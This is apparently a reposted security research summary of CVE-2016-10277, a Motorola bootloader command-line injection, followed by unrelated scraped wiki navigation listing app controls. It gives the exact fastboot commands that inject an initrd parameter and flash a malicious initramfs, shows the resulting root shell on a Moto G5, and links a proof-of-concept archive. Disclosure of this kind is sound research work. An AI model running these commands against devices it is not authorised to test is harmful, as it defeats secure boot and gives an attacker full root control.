Sources: https://alephsecurity.com/2017/08/30/untethered-initroot/
https://github.com/alephsecurity/initroot

initroot: Motorola Bootloader Kernel Cmdline Injection Secure Boot & Device Locking Bypass (CVE-2016-10277)

By Roee Hay / Aleph Research, HCL Technologies

Recap of the Vulnerability and the Tethered-jailbreak

1. Vulnerable versions of the Motorola Android Bootloader (ABOOT) allow for kernel command-line injection. 2. Using a proprietary fastboot OEM command, only available in the Motorola ABOOT, we can inject, through USB, a parameter named initrd which allows us to force the Linux kernel to populate initramfs into rootfs from a specified physical address. 3. We can abuse the ABOOT download functionality in order to place our own malicious initramfs at a known physical address, named SCRATCH_ADDR (see here for a list of devices). 4. Exploiting the vulnerability allows the adversary to gain unconfined root shell. 5. Since the initramfs payload is injected into RAM by the adversary, the vulnerability must be re-exploited on every reboot. For example, here is a successful run of the exploit on cedric (Moto G5)

$ fastboot oem config fsg-id “a initrd=0xA2100000,1588598” $ fastboot flash aleph initroot-cedric.cpio.gz $ fastboot continue

$ adb shell cedric:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0 cedric:/ # getenforce Permissive cedric:/ #

Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42601.zip

Links

App and Layout
app object
App Events
Layouts

Controls

Controls
AudioRecorder control
BluetoothList control
BluetoothSerial control
Button control
CameraView control
CheckBoxes
Crypt control
Database control
Dialog control
Downloader

Controls
Email control
File control
GLView control
Image control
IOIO control
ListDialog control
List control
ListView
Locator control
MediaPlayer control
MediaStore control
NetClient control
Notification control
NXT control
NxtInfo control
NxtRemote control
Scroller control
Seekbar control
Sensor control
Service control
SmartWatch control
SMS control
Speech Recognition control
Spinner control
Synth control
Tabs control
Text control
TextEdit control
ToggleButton control
USBSerial control
VideoView control
WebServer control
WebView control
YesNoDialog
ZipUtil control

Note for contributors

If you wish to create a new page in the **Built-in features** namespace, please create a link to the new page above, save this page and click on the link you just created.